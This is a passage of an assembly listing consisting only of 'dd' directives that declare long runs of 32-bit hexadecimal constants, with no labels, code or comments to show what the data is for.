		dd 6712CEF0h, 3CEEEA8Bh, 8E0036DEh, 0C2D2812Ch,	0BC00F65Eh
		dd 579A8247h, 0DCAB91h,	0FAD8953Fh, 0FE5B1463h,	0AD03F704h
		dd 4080F971h, 88C76Eh, 67FB9D83h, 456D6BEEh, 127AE913h
		dd 0DC192C03h, 0CBF80144h, 0EDB4704Eh, 4B48346Eh, 0F2117D02h
		dd 8FD790DEh, 0D2ADAFA4h, 3ACCD840h, 3FC82B8h, 17916954h
		dd 5ED1C54Fh, 0C20BD27h, 38DD4CD7h, 0D31A26B9h,	445C3062h
		dd 2130AD6Ch, 6164283Ch, 6B491E8h, 81969DB9h, 1010B04Ch
		dd 5D043356h, 0D0C164B7h, 3DEF789Ch, 0B2A7C800h, 0CC9DE0EDh
		dd 13FF1781h, 0B437046Fh, 8CB48434h, 690EB154h,	0A09126D1h
		dd 88812548h, 929400C8h, 0D91D4370h, 0B344DAABh, 0F6908CDh
		dd 10AAC8C5h, 0A421C0Ch, 487E9025h, 628E3DAh, 12543EA4h
		dd 30CF2998h, 0FC12761Dh
		dd 28406CDDh, 54AA2358h, 6C2E49EDh, 16392901h, 0A49DAF43h
		dd 62E154A1h, 3C033A06h, 4892921h, 13138DEh, 5A512613h
		dd 0B0D75C25h, 4CDBF3h,	3332FA56h, 68F5F9A8h, 39010C02h
		dd 0AEA3ED55h, 569DE2A0h, 16B48351h, 75CA307Ch,	2BE85549h
		dd 9DD9A9C7h, 3A283AD6h, 0F11D8548h, 664CA0A4h,	2B411000h
		dd 6ED4FB0Ch, 0D3B0F3C1h, 6DEE6200h, 8EB83B09h,	6B94A00Fh
		dd 7741302Dh, 0F03373C1h, 0FBFB3044h, 76624180h, 5974A7C5h
		dd 773E7D00h, 0E6C22849h, 9CA14C4Bh, 0B2C1839Dh, 800575E7h
		dd 0C218D6F1h, 0E72C000h, 1EC7FC9h, 0C6BB9D74h,	0BE908E3Ah
		dd 0E91F0628h, 18900D22h, 0C8635D30h, 49C253D9h, 3184A6h
		dd 0DB6C39ADh, 135ED019h, 0DFF08030h, 3C1C14Ah,	1059517Fh
		dd 996EA8h, 77898C2Fh, 36A02C7h, 6432FC13h, 7D526820h
		dd 5F8C3A30h, 5EF5C01h,	6011C25Eh, 1F0CDAC8h, 515851CDh
		dd 380007Dh, 0DB21FF84h, 3C0E970Fh, 0C041B4E7h,	0D60EF229h
		dd 8A4B1F1h, 293C2342h,	1303A4E1h, 945F4C0h, 0FAE84351h
		dd 9806D812h, 3DFC41ADh, 3F3B6620h, 0F0300EF5h,	0F6297418h
		dd 0B303E0B8h, 305845C7h, 5488EC39h, 0A86E02E4h, 118C6616h
		dd 7C18041h, 0FAB02660h, 9B94A83Eh, 19E200F6h, 1D171BBDh
		dd 4200DB97h, 7CB8F960h, 49C666Bh, 4798D89Fh, 0F504D029h
		dd 0D9811D5Eh, 19806FCDh, 0ADD8D290h, 1716F691h, 0E4608E0Dh
		dd 40B1AA1Ch, 7CA0A45Ch, 2002EC66h, 0B0EA1738h,	190E451h
		dd 0A87E04B7h, 0ECEC183Ch, 133D75B2h, 930C87B1h, 0B74AB048h
		dd 0CEC04307h, 9798A6A9h, 34680159h, 8A85B649h,	4FA88027h
		dd 0E2192F9Eh, 24C8BA74h, 82B88E64h, 5206A5B9h,	41AD3402h
		dd 504158A4h, 29BCB842h, 6005EC00h, 50CC6D8Eh, 0FAF69A14h
		dd 12A980E8h, 0FE0780h,	7FBF474Eh, 0A4577CC4h, 0D9F6862Ch
		dd 34403312h, 23C29CB0h, 834801E0h, 0BBDC94EEh,	0F0B3E060h
		dd 7D18B6F2h, 8F90245Eh, 5C39712Dh, 0CE3B84AEh,	1C0B66C0h
		dd 0A035B2C5h, 43147240h, 188559ADh, 0C1565218h, 0D400E06Bh
		dd 0C6B746E9h, 0EA796BCh, 4B07FB0Ch, 6498D6E1h,	0CD999C32h
		dd 0E55F0D00h, 3F10A7Ch, 0B6E49E3Eh, 0D40632DCh, 2DEFC07h
		dd 43451758h, 80025ABh,	428A696Ch, 3B4398AEh, 2C9D74Ah
		dd 0BBD4868h, 0D065C026h, 0A02B3E20h, 80CB5950h, 0A094160Ch
		dd 0DA0078BEh, 4353ABD7h, 0C46340C6h, 496CD671h, 66640758h
		dd 0A25BAAF7h, 0A05C5178h, 9A924980h, 0F03C0075h, 0E3B19E6Dh
		dd 0DE1AF58Eh, 8370E79Bh, 22359D4Ch, 5C005B39h,	4103C905h
		dd 4D6D48B7h, 8C4D4434h, 7EC02C48h, 11D5C9D3h, 8C4FD039h
		dd 602C2FA2h, 13E34082h, 1A28B478h, 8038E850h, 0DAC902C6h
		dd 411EE2E8h, 8462179Ch, 5904D068h, 0E8D710D9h,	0C42A4929h
		dd 3C06ED02h, 9CE16E33h, 0C828F6E6h, 32E1F08h, 4265AAA9h
		dd 7DBEB807h, 0A43072B1h, 102DECh, 1CB7D2C9h, 50A9948h
		dd 0B50CA490h, 0B0360DEDh, 0B67C3C45h, 102C6477h, 7AD0CC20h
		dd 99625030h, 16599B94h, 1FC69585h, 31003AC8h, 2D4FA1F1h
		dd 30AD44C4h, 773291h, 418C986Fh, 61EA20A5h, 57854F1Eh
		dd 0EC0C43D7h, 0E35F2986h, 11ACE18Fh, 0FD6D6EAh, 3AC245D7h
		dd 18C8861Ah, 0EE4018DEh, 0A10918C6h, 0B945B144h, 0B8F96226h
		dd 95AFB70Fh, 83191508h, 6EF0DC8h, 88304135h, 214244EDh
		dd 0A530B4F4h, 0EEB9918Eh, 791D60AAh, 0ACAE6570h, 218AA535h
		dd 69AD8C04h, 0EE65AF40h, 18A01E52h, 0DA55D0D9h, 49E7FCE0h
		dd 0EDC0730Ch, 9CFE713Fh, 80B0449Ch, 2CB403B0h,	0B76F411Eh
		dd 0CD2FDB00h, 14E56E6Ch, 84916B31h, 0C9091622h, 23CB6520h
		dd 186D18CCh, 8C66C89h,	41D4D8BCh, 59B93134h, 0A840D688h
		dd 55AF6BDCh, 5C0D8420h, 0A850D2E5h, 92401604h,	8DA900A0h
		dd 22172757h, 7F24B3CAh, 241E41A4h, 474C840h, 0D15B65h
		dd 0AEEA0EF3h, 0E2B16AFCh, 0CB46BE00h, 572784B2h, 0DD0A0728h
		dd 40E9ABA5h, 0EA137210h, 0B3CE38h, 63ECBA31h, 0FA3AC005h
		dd 0A09D306Eh, 7FB4C940h, 0E0C42641h, 88440798h, 0BAFC10ACh
		dd 7546009Bh, 0AFD1772Ch, 3ED75007h, 0E2209B72h, 0B9C10BFh
		dd 5758F3B4h, 401DE186h, 0FEAC7E17h, 0B5308C22h, 0F82A5F04h
		dd 1B091C02h, 438842B6h, 516E8D8h, 0FD46099Ch, 0ED00B06Ch
		dd 0C3B84A5h, 0A0636E07h, 0B7C04929h, 30016A82h, 0B8400A14h
		dd 3779EB7Fh, 0B3EFEC00h, 612C7443h, 0BD3C0EE8h, 8C6046C7h
		dd 4F37D0BEh, 8448A404h, 1901576Eh, 78B9B0h, 381AEC77h
		dd 2B00ADC9h, 9B6D463h,	0C630B2D7h, 0E3731069h,	0F348009Fh
		dd 0DC17012Dh, 4578AFE7h, 7440EB01h, 0B7C91D19h, 944B3831h
		dd 2622C0AEh, 0AF9C1Fh,	7215DD79h, 0ADB3E8ECh, 582C0100h
		dd 0C7513CE0h, 710C013Eh, 0FF30D6B1h, 59C8D7CAh, 0A3E2104h
		dd 3CB31818h, 134314h, 0BE46CE06h, 3FE28F9Ah, 7E81000h
		dd 0CC8135D9h, 0B5F3062Eh, 406B4AAEh, 9E201EFEh, 424400B2h
		dd 0ABB3EA22h, 5B006CBDh, 0C3A2B0CCh, 3E7107FDh, 4F02A075h
		dd 588041B6h, 1D23A540h, 3D44CA00h, 210142DCh, 0AB990BEAh
		dd 8C3545C7h, 0F884805Fh, 0A3E0171Fh, 0DDF2AB00h, 1B18726Bh
		dd 0C877019Fh, 3ACB842Bh, 70ADD0A6h, 0E2749400h, 0B5654732h
		dd 575B007Fh, 0B1031725h, 0A8008276h, 0EB1C083Eh, 69B7B6h
		dd 0B2937465h, 3FDC106h, 0D28A6A03h, 0D8AFAE2Eh, 267F2h
		dd 991B1363h, 3BD783B5h, 16EC0700h, 2BFD74A2h, 3DD80E86h
		dd 0EFED5C0h, 0BDA0B194h, 8440A5F3h, 6207267Eh,	47B61508h
		dd 0FF3FAA61h, 0D3D8ECh, 642707ADh, 0D70A3893h,	0ACC7502Ch
		dd 4936DB00h, 0A444AEB7h, 0FF048D88h, 99C3D8h, 0A1D59A01h
		dd 95DFF507h, 0DCA0DD05h, 2CA22345h, 0A93828B8h, 7C5381D1h
		dd 9ADF62DCh, 0D9FF25C9h, 80B820Dh, 7369F19h, 84FE45D2h
		dd 690C4070h, 0E8F184AEh, 0E92D2D4Fh, 2105E486h, 0AE942F00h
		dd 6296D20Ah, 0B5D90192h, 0FAFCDE8Ch, 0A461803Ch, 1EC43220h
		dd 15AC007Fh, 0C588F1BAh, 0A000DB18h, 0FC25AAF2h, 1B49404h
		dd 0B683D8A8h, 2F4AF69Dh, 13E0442h, 0EE5A2055h,	39D9662h
		dd 0F8D26CD8h, 18D8BF81h, 996A69B3h, 1500A6F5h,	725FFA53h
		dd 0AC6DC7FCh, 803C0F1Ch, 0A9B90DBFh, 0B778F4C0h, 6B0E2AF8h
		dd 608916F1h, 0FBBEA10Eh, 0B5785Fh, 0B76C3D1Eh,	0FEC67FA8h
		dd 2106EF0Bh, 0F00CC82Eh, 8051C013h, 0E0BC95B5h, 0FEBAB00Bh
		dd 0ACC8C954h, 0C331E510h, 0C8D0FD4Ah, 2AF9053h, 0CA5C464h
		dd 0A0F0EC62h, 0C3F49h,	1FAF882Ah, 0EAB5DB6h, 2767512Ch
		dd 0C8A20FC0h, 6B8842FAh, 0E1900001h, 4E8BC30Bh, 1F07F289h
		dd 0FB5BBDD1h, 239B22B0h, 0AAC61226h, 54A8B0FDh, 0FA806C9Eh
		dd 2DC2EE50h, 0F9AF0EFEh, 2A007723h, 0B3F433C0h, 8697ED00h
		dd 55FEFAA7h, 206871E1h, 0B1007018h, 0A85D53B7h, 3BB5D5F8h
		dd 0FF80D850h, 370B981h, 3200FB7Fh, 68C78915h, 0EDB6C3h
		dd 6E333D3Eh, 34F3E8D7h, 8A695801h, 91BC15F7h, 480A4CD0h
		dd 0C069A64h, 0A9555181h, 5932A800h, 0BE03EA97h, 0ADC90090h
		dd 0B29DB3E4h, 40917911h, 81F0F5A0h, 0D798A350h, 28B1C800h
		dd 0FD16D3FBh, 0DEE2044Bh, 861BFA7Dh, 0D5428838h, 1084A601h
		dd 80575081h, 49F3D779h, 0AAA8ECh, 0C9F12719h, 0B5EE675Bh
		dd 0EA1E2BF4h, 61C087FBh, 9668974Fh, 0B42C498Bh, 20C0D002h
		dd 0ACF0B614h, 0C809B165h
		dd 0F0C8E0h, 0BFA020B8h, 8BFF9FBBh, 0B613E91Eh,	0F3AF6B4Fh
		dd 202BC4A1h, 0DC4CF54h, 83D7CB3Eh, 5B06B417h, 88ACFB77h
		dd 0DD386459h, 836D4729h, 4572E0F2h, 1428AAC1h,	0F8A1FC99h
		dd 646C18FDh, 9871C0AEh, 2A8808F8h, 96AE3893h, 81C74580h
		dd 0C064C8Bh, 7D78FC72h, 7519F9C6h, 0E5B63B31h,	7ECBE287h
		dd 9C42B0B1h, 0C93A6798h, 0E03225D8h, 4C791CCh,	7DB76D7Bh
		dd 0F90A8BEh, 0E1BDB945h, 0A78A737Ch, 528EE7DCh, 3B258D6h
		dd 4FCDF30h, 0F3C0080Eh, 3A4A943h, 64EE787Eh, 0C704107h
		dd 44F870A0h, 147B2661h, 7DAC20Fh, 0E1C30BCDh, 218F2C90h
		dd 0E60FC83h, 8DE4D44Ah, 19C97804h, 240345FAh, 2CA88762h
		dd 32005D2Dh, 1B0595D9h, 25DC7106h, 1CC48963h, 476FF800h
		dd 0EB88504Eh, 38060045h, 0D24CB36Dh, 0B60795C6h, 32244858h
		dd 26411C50h, 95027842h, 3C0E7001h, 1FF300F4h, 283C98ACh
		dd 7CB00A52h, 2CDE3A31h, 56F83C4Ch, 4D89008Ch, 0D6DE57A6h
		dd 0DB135193h, 7CF1F298h, 185F60FCh, 0F9FBAD42h, 331A08CEh
		dd 11A116h, 2D6BAE9Ch, 0ACDB0961h, 988172A5h, 0E142466Eh
		dd 4829A8D6h, 6B02FC46h, 99F186AEh, 2903F09Ch, 0D43BAE96h
		dd 0D619CB85h, 0A0210019h, 875E999Bh, 4A2742C6h, 0DA886038h
		dd 18BA24E8h, 7E230AF0h, 0B03B0344h, 18161666h,	842FD691h
		dd 81070423h, 86F37535h, 74F0BAF7h, 1E3C2674h, 5513E2D2h
		dd 0F0A4BEEFh, 3F0A20F5h, 64900E4Bh, 0A68BFEh, 0C8877761h
		dd 0EDB47ED8h, 60C0D64Bh, 540AD0D9h, 6A8BC08h, 6DB21C43h
		dd 0F709602Ah, 0FAE044A6h, 9A7020C0h, 1C30F17Ch, 31A918BFh
		dd 0D174916Bh, 0DBE81932h, 0A78B0263h, 0EE6BED18h, 7192B07Ch
		dd 0C0BD2C08h, 0C466AF82h, 54229546h, 0AF7A2800h, 10BA120Ah
		dd 99E258h, 4E042FBEh, 0DDEC90A0h, 11DC0C00h, 737BC629h
		dd 7358A47Dh, 46DAF810h, 3D2D22E7h, 2785F89Fh, 47AB73Eh
		dd 12ECC80h, 398A5A72h,	40989848h, 0AA09C0D6h, 9D3D7453h
		dd 45FD888Ch, 4075BB62h, 9219068Ch, 55390530h, 0C4F2109Ah
		dd 40B4EC8Ah, 48CBF94h,	0C468AF84h, 203B6285h, 58AF7C2Eh
		dd 9F8CD8F7h, 0DE202890h, 55690E3Dh, 0B905BE8h,	30946896h
		dd 1120C638h, 88BCB616h, 0BEEE80C9h, 7D441220h,	0CAD2D701h
		dd 0C68CD6F1h, 0CC0CA881h, 2E506E85h, 82EDF872h, 2D609Ch
		dd 30F5AD0Bh, 258BD63Eh, 8828E0E7h, 0A12BF6A6h,	0FB1880DCh
		dd 0DA23C1E6h, 1229112Fh, 44000386h, 78E04BECh,	0D5282EC5h
		dd 30C9020Eh, 8448A29Eh, 90A937FEh, 0FC3421DAh,	1800E522h
		dd 0A8C70B55h, 8A846Fh,	227E4E0h, 877432C0h, 80DEF53Dh
		dd 0EC5FFE9Fh, 4590617h, 455D9756h, 0BB6C817Ch,	94DC602Dh
		dd 1E90F0B8h, 222E80Ah,	8084E855h, 0B0D012B6h, 8458116Ah
		dd 9DC69B44h, 0F0F76811h, 1083D5C0h, 162F8618h,	3835D851h
		dd 2E236C2Eh, 1B089000h, 0A4FAE291h, 331E0084h,	0F86FEB36h
		dd 0DD00D8ADh, 815EEF30h, 1233AFBh, 63E8A8A7h, 63663D6Eh
		dd 0D2C9101Ch, 40B40301h, 31CC6FDBh, 6E30E280h,	0F18911AEh
		dd 800788A1h, 0FAE952Ch, 1970A457h, 0B21FB001h,	3E4AA5B6h
		dd 3FE8002Fh, 26BA85B4h, 7E0BF0B1h, 0E9B4A01Ch,	0FAE5CDF0h
		dd 0C2E8143Ah, 0B00BB80Eh, 2C024520h, 6507449Ah, 0E9316C90h
		dd 331600F3h, 910CD0A5h, 0AA5AD8D2h, 8F2488h, 401DE42Bh
		dd 0C7EA3455h, 0AFE93900h, 0B5A7DDF2h, 0FDD009C4h, 0D041C92Dh
		dd 0A84E0CF8h, 76342A8h, 7E727C44h, 8D585AC7h, 0F8F97819h
		dd 0E9003652h, 0E603F61Fh, 31C80CC0h, 65894A16h, 308DFE1Dh
		dd 0F5B9F059h, 9FC7E4Dh, 43BDE8DBh, 0AC81D438h,	1602376Ch
		dd 381A9882h, 0FCCDD605h, 714A6E80h, 0B2F7E78Ch, 0DE6EDB01h
		dd 65C8806Bh, 0FA56A3E0h, 0AB8B0722h, 928E596Dh, 8C740CDEh
		dd 80ECF915h, 0F183AE68h, 81E18CD1h, 0AE6F2EC1h, 34CCF83Fh
		dd 998C0C7h, 0BFF2364h,	0E549F892h, 497D4C24h, 93305CA4h
		dd 0C1248404h, 635B0302h, 7FBF3048h, 0C807C602h, 0A9C5E8D6h
		dd 71600480h, 1720C760h, 11C4B623h, 0BFEF05BCh,	9409B920h
		dd 9080D85Eh, 6017AB8h,	8FA4B67Fh, 0E90770DAh, 2899691Bh
		dd 6E3A72C1h, 9F84003Bh, 0B0B2C0D2h, 0A710CA60h, 2C54C30h
		dd 9DB358C4h, 859D6F9h,	136B8007h, 1D36AAF3h, 0EA5C57E1h
		dd 9C6B5408h, 80549652h, 3DEDBB4Ah, 7A07F706h, 402C1894h
		dd 0E5BC7471h, 4F24206Ah, 0B900B5A3h, 702FD536h, 26198005h
		dd 0A507772h, 0C08C9368h, 0B61520C1h, 0C6223446h, 20B9F100h
		dd 0A71B4387h, 170B3956h, 1D7E9250h, 8AD60C98h,	249847AAh
		dd 61F5C2ECh, 0CB403076h, 4C11D9Bh, 95B910C6h, 7B480FDh
		dd 0B800E61Eh, 19C00C6Dh, 13539E94h, 0B5FB6BC8h, 0C46344h
		dd 0E6CD84C4h, 1EC6563Eh, 0AC65A331h, 49D9D70h,	0C1B2B3C0h
		dd 5186ECh, 5895DC3h, 0B5454FE8h, 0BF9B82EDh, 2F89443h
		dd 0C49954FEh, 380BEC13h, 897482EEh, 0BCE0030h,	0B209AC2Fh
		dd 0CD70DEh, 9DB6283Ch,	1A492D2h, 0AFB8477Eh, 0EE7FFC1Fh
		dd 605E8E87h, 0D8A9B532h, 87385701h, 0CD1FC2C0h, 19CE2C4h
		dd 213E9F9h, 769D9B0Ah,	0EC885A20h, 1C2900D2h, 5E7CA05Fh
		dd 5212B93Eh, 2002D894h, 4953DF18h, 0CA187070h,	0B62BC0B0h
		dd 0C511E4DCh, 20C2EA00h, 25AA151Eh, 0B7B5640Eh, 0E00417E5h
		dd 0E4A2E616h, 863055E2h, 172E7A10h, 4084BB2h, 22CFD84Ch
		dd 0AF8730BAh, 7DC46B11h, 2D805088h, 41B4AF7Fh,	0B3E1183Eh
		dd 0FF976C68h, 0EB7BC027h, 0DCEBCA8Ch, 9D318254h, 0D9024E62h
		dd 26DC417Dh, 0C78000F2h, 6B3BC406h, 556D8759h,	38CDF1EFh
		dd 3EC206Fh, 26007221h,	9FB03631h, 24D634D9h, 4FC5C88h
		dd 0A06051FCh, 4560FBA4h, 94FD1BC9h, 13B7D0Dh, 0DE044B6Bh
		dd 75610EF7h, 0E6F23174h, 0E541D8CAh, 0D028ECh,	0E1700CF3h
		dd 0B409FAB0h, 10F42640h, 2838994Eh, 0A8AF5101h, 3444D4F1h
		dd 0EE270B94h, 7E00F652h, 2A8D1391h, 2CCFB600h,	0C78457DFh
		dd 20315CE0h, 72C5E13Ch, 303BF2A4h, 0C501CC89h,	0B613AC5Ah
		dd 0A068A6F5h, 0BDE64E00h, 3EABEA7h, 36466EBh, 3F2047B1h
		dd 0B0DAE0D4h, 94B0904Eh, 80FA9180h, 0F190AE65h, 0FE208CC9h
		dd 70330045h, 55EA3DAEh, 46723A1Eh, 72DA8CA8h, 17D88082h
		dd 409A9E5h, 0AAB8C667h, 5C84FD2Bh, 4304BCB8h, 5E150046h
		dd 0F1E0F892h, 0C4645ADEh, 7D80021Ch, 4A00503Ah, 4EA5AC0Dh
		dd 0C3F41231h, 49CFF54h, 4A87FBE9h, 5AC6E28Eh, 16D0DCDEh
		dd 23942FD2h, 4A12CFDh,	0B026D0D8h, 0A512B9D0h,	700F45C2h
		dd 6D8550Bh, 917A3AC4h,	54CC1268h, 0B99020C0h, 6B49727Dh
		dd 4B40088h, 0E3F36631h, 68E78050h, 0D28214A1h,	4AF9FB03h
		dd 232C2F59h, 60840056h, 67B9D15Fh, 547B640Ah, 0E10248EDh
		dd 4036A5h, 0AA2AF1C6h,	97EF5419h, 80481889h, 9E7AB7h
		dd 0AD4ECF9Bh, 21437D40h, 1B82C700h, 0F9A434E6h, 0FB870EEAh
		dd 32837E04h, 0A90343FEh, 9D2ADB3Eh, 77CAB097h,	0EDC01204h
		dd 0B41C41C2h, 3C28164Dh, 8C04F810h, 8FA79D02h,	64524CD9h
		dd 271F00D8h, 3ED48346h, 920038DFh, 0DE2D07E9h,	5BFFD698h
		dd 51000354h, 209C8970h, 0B04DD4h, 78CDCF0Dh, 87803C32h
		dd 0EE967602h, 713FCA62h, 69E708F4h, 3285B707h,	0FD660E98h
		dd 6CD1F08Ch, 0CCCD695Ah, 0A2040F6h, 0D07E8203h, 2086041h
		dd 2C07C9D0h, 3070F5Fh
		dd 47E5A8B2h, 60B88EE1h, 960267D0h, 0FBD28AA2h,	3DB44032h
		dd 89151538h, 54268CF7h, 0AD6B40CCh, 0EF771BDBh, 0A37C7002h
		dd 0DC5095E4h, 69798098h, 4C085A01h, 0F331F50Bh, 0F4F177h
		dd 3E18129Fh, 712E381Bh, 0F0263D87h, 0C9DFFB0Bh, 207F1344h
		dd 5A92FE98h, 0AF2B0502h, 72CA6FC6h, 0FD960700h, 3B69A68Bh
		dd 90B32882h, 0C66DC0C0h, 37A23A17h, 0CD0FAC42h, 274052D5h
		dd 0D8184469h, 0B84AAEF7h, 1725003h, 0CDF8F11Ah, 9F166C62h
		dd 0D0DC10A4h, 0D091548Bh, 0CF7BD478h, 1A8A9B00h, 0DBEFE926h
		dd 0EE841819h, 0C8A45892h, 3E301580h, 0D8485539h, 4FAEA5C2h
		dd 0E984EC8Fh, 0FB8C88C7h, 3E63488h, 8BB1BA94h,	0FA05036h
		dd 1B03B308h, 7DB22467h, 0C790162Eh, 0C8CC8B62h, 283CC057h
		dd 7600BCA6h, 0C13948DBh, 4415B42h, 16FAE91Dh, 2F3CB258h
		dd 11481796h, 89FD80BDh, 4D9106F1h, 1916B0DFh, 32C82071h
		dd 7501A47Bh, 0F1CDA766h, 0C450E4D6h, 0DD9915h,	0B92370EAh
		dd 0F6E14293h, 7348E948h, 344F6103h, 236C4413h,	0C5016F98h
		dd 0D4B61120h, 0EDB05C3Ch, 910020BDh, 0A23CE715h, 218E9D3h
		dd 0CFE0C058h, 745930E5h, 86460878h, 1597060Fh,	2A366010h
		dd 2A7751Bh, 1735734Eh,	9855F90Fh, 20D0D97Ch, 23131CCEh
		dd 4CD5667Eh, 4E00DCFDh, 0CE98E4B0h, 0CA3F412Bh, 3AEA0050h
		dd 67DCC3Bh, 6C30C522h,	0F214F20Ch, 0C67730BAh,	0C0DAFC0Bh
		dd 0D7CF162h, 20816FE0h, 7B0FE900h, 0AC102DC4h,	7F31944h
		dd 5AEDC8E6h, 0A71DC132h, 646ADDB4h, 9818DB54h,	375012FEh
		dd 44F898ACh, 449696E6h, 0BD465Ch, 0F3E9DA83h, 0BE7DDFCh
		dd 852CFACFh, 1C804408h, 4E3A8469h, 7CC8B027h, 16454408h
		dd 0DEB30462h, 6950A1E4h, 10305890h, 0EF042DDAh, 0A8BD6D06h
		dd 90598EC0h, 2D5EC600h, 3624AF6Bh, 0EBF320CEh,	4EE88252h
		dd 39C21369h, 0AFD10111h, 3089D9EDh, 2011B042h,	318C60C3h
		dd 78888689h, 3764BA95h, 31CB804Ah, 82D3D20h, 0FE2744EDh
		dd 9E90A0BDh, 2E280DF3h, 2D60E49Dh, 30165020h, 4BA227Eh
		dd 5AB8D90Bh, 1708D012h, 883C66A5h, 0AD86D89Ch,	90356078h
		dd 552E17ACh, 0AA022849h, 0FE48DEE9h, 0F06E05ACh, 0BE2CD268h
		dd 12AF8330h, 0CB9DC467h, 7B29000Ch, 0BF4382AFh, 0EB7900A5h
		dd 34423C6Fh, 8A7C7DB4h, 0C74FC0C1h, 0B8752A3Ah, 0D62C7888h
		dd 5A4583CEh, 68204C33h, 60B98864h, 236AAF86h, 3A11F5C4h
		dd 0AF7E2C00h, 0B6BCEA38h, 0EB85A12h, 182560ACh, 61565048h
		dd 0F0EFB400h, 0B990C51Dh, 12690027h, 75C60BD3h, 0C03AD6C7h
		dd 5B543E95h, 8C77B02Fh, 0B364EA00h, 0A67D5F67h, 0E97C0942h
		dd 7C9DDAB9h, 4780C791h, 9E575CFFh, 973AB70Bh, 3128E864h
		dd 0DAE60026h, 0F1137D50h, 43079925h, 0B6D0F61Dh, 32009B0h
		dd 3595E6h, 0A6099F81h,	42FC3CE3h, 8EC500C1h, 6F82F26Bh
		dd 0C22C85B9h, 1C84843Bh, 4FABF5B6h, 5965D75Ch,	18A00BC8h
		dd 0CFC90890h, 87209F3Fh, 39634307h, 0E92EC4F0h, 0F1FA03F8h
		dd 6F1E753Fh, 0C3A0A6B8h, 0EE1668BEh, 317A98C2h, 0DACBEC11h
		dd 42CDF5Fh, 14F97BA0h,	82F6B1E3h, 0C9821048h, 9BE04D7Eh
		dd 0BA01AD64h, 11D01D35h, 947CB4B2h, 0A5AC1502h, 0DCF626A6h
		dd 451410BCh, 215E0C58h, 25123A28h, 0B8642954h,	98580978h
		dd 1C82F460h, 6C04C061h, 3819800Bh, 0E8062A6Ah,	789C119h
		dd 5AC7019Fh, 98A9E92Ch, 68435092h, 586BADE1h, 974F820Ch
		dd 0C923442Eh, 6A4DFA00h, 5F563FD0h, 0E390D052h, 0E7009390h
		dd 5D7F6D18h, 16B6F933h, 474DF685h, 0E4B54470h,	0E5D8C82Fh
		dd 0A117CF43h, 7B84926Ch, 0CCF41231h, 73F746DAh, 0F6FA9D88h
		dd 78DE5C84h, 0EF554C0Bh, 20B7CC91h, 249D4EB5h,	84AC2620h
		dd 8B8C76C8h, 0AE3133h,	86674E0Bh, 9C396165h, 76D97400h
		dd 0B6804DCDh, 690D095Bh, 0A852B2C6h, 99121108h, 6C2E81BDh
		dd 8F36646Dh, 0E08851h,	383A1227h, 0C80800E2h, 0D09F9965h
		dd 0D3242E9Ah, 19163DB3h, 6615B4D0h, 3A8C0735h,	0D0DB3DA2h
		dd 0B3E65CD3h, 2791FF1Eh, 7C571709h, 0C168650Ch, 506051A8h
		dd 98C88588h, 6559118h,	6FC220h, 7D0A23CCh, 50A70FE9h
		dd 1B0D46Bh, 4106F290h,	6224C184h, 4C28A846h, 9102598h
		dd 11B81DB4h, 249C8055h, 0FFD718h, 7FC9E816h, 44F876B6h
		dd 1FA2B912h, 988ACF4h,	5DF5B4D0h, 84F1CCC2h, 57182979h
		dd 0FDEF851Ch, 7BD87201h, 23CC04FBh, 0CBEB6Ah, 0F22EE3B9h
		dd 0FDFE4D81h, 16B0E01Dh, 8245452h, 0B4587000h,	4AB3D940h
		dd 0F486B97h, 0A02E97E7h, 0C2D36005h, 0B46513ADh, 0DF60B7E0h
		dd 8C42C61h, 0E884733Eh, 0B50068CAh, 0BEA30D85h, 7F457206h
		dd 2258C084h, 2DEE1352h, 0F77C0316h, 0AAC4E030h, 6846600Dh
		dd 55CAA6F5h, 988999Dh,	8F8F0ACh, 33000286h, 71C6EAABh
		dd 5C00B4D7h, 87460321h, 45D6D57Ch, 0AD90F416h,	8FD7D10Ch
		dd 7D1CE8h, 8B8796DCh, 5AC4E4F7h, 0C398E26h, 0A1EAED71h
		dd 36D0DBF4h, 1380E9ACh, 0BEC86432h, 0BC9CE831h, 23B8222Eh
		dd 0CE14F719h, 0C0C488E0h, 0A1FCD75h, 810B803Ch, 0EDB6D8A8h
		dd 88B11C5Ah, 80C9AA0h,	223B4312h, 3AB90675h, 28104EB8h
		dd 0C2D28602h, 6041CA66h, 940E9650h, 412C4448h,	5D523A24h
		dd 4A7D9048h, 7C3828C8h, 11B09795h, 60898E2Ah, 1034EBDBh
		dd 275804C4h, 0E89AB0DEh, 0A78A05C8h, 80814FA9h, 230C4D7Ah
		dd 1022D289h, 693008F2h, 0D41C01F8h, 0B50363C5h, 0E1D888D1h
		dd 0B0466934h, 840A024Fh, 0BAC444AFh, 0A4D7FB44h, 1706ECA8h
		dd 0D9F196BEh, 86C97158h, 0B808E44h, 255574ECh,	34A6DC02h
		dd 592C7912h, 0ED1808h,	5E42FF92h, 0EE48D42Fh, 0BD0EF112h
		dd 0A41620C5h, 2AD86004h, 7A114C14h, 44CF182Dh,	8849B6D8h
		dd 0B835C7DFh, 88C93970h, 3E29E441h, 614F5208h,	3B266CDBh
		dd 52E89F28h, 1710BD11h, 0C8412482h, 529571D0h,	0FE4023F0h
		dd 0BCF1F8FBh, 85B758D8h, 761ECA20h, 0F7DF0BC6h, 50C5E605h
		dd 7C603AC4h, 8A1C1DAAh, 0E55C8DC2h, 302CDE12h,	0B0605C9Fh
		dd 7C60484h, 14716FECh,	0EC42CE27h, 6DB0A5D9h, 0A42AEC08h
		dd 0D1149264h, 342F694h, 6CADA243h, 41D06414h, 88F4CE13h
		dd 3F89C0C4h, 1201AD06h, 23B6BD0h, 2531F52Eh, 3984912Eh
		dd 0B8E20438h, 5430C5F2h, 0DCAB0013h, 27CB8187h, 0D216C5AFh
		dd 6C007ED8h, 0D101B255h, 673C138Ah, 0C3288816h, 54746F00h
		dd 91EA196Bh, 0FA66014Fh, 0F5B62108h, 7C34247Eh, 0FF4916E4h
		dd 0D76A01A0h, 9A60799Dh, 76DFED0h, 0F9ACEA29h,	84BC31D2h
		dd 0C69420F0h, 0B93940h, 740CEC7Fh, 0D28E16D7h,	7A350B01h
		dd 0BD3D06F5h, 0E1105822h, 94F70130h, 0C2A5B657h, 10DBC874h
		dd 3902BEB0h, 0C7207496h, 2873002Eh, 7FFBF5F7h,	0CC982A9Fh
		dd 0C642741Ch, 205C9689h, 0DBE8DE80h, 0A41D9DFEh, 0B2803911h
		dd 0F0F7A11Bh, 7A3AC608h, 166B072Fh, 40EA5FC5h,	853125Ch
		dd 0CBC06D10h, 5CB61320h, 0EBE004E4h, 0D60220C3h, 9B43F355h
		dd 40905D42h, 0B3005660h, 0BFD17C9Ch, 3F441261h, 158147B0h
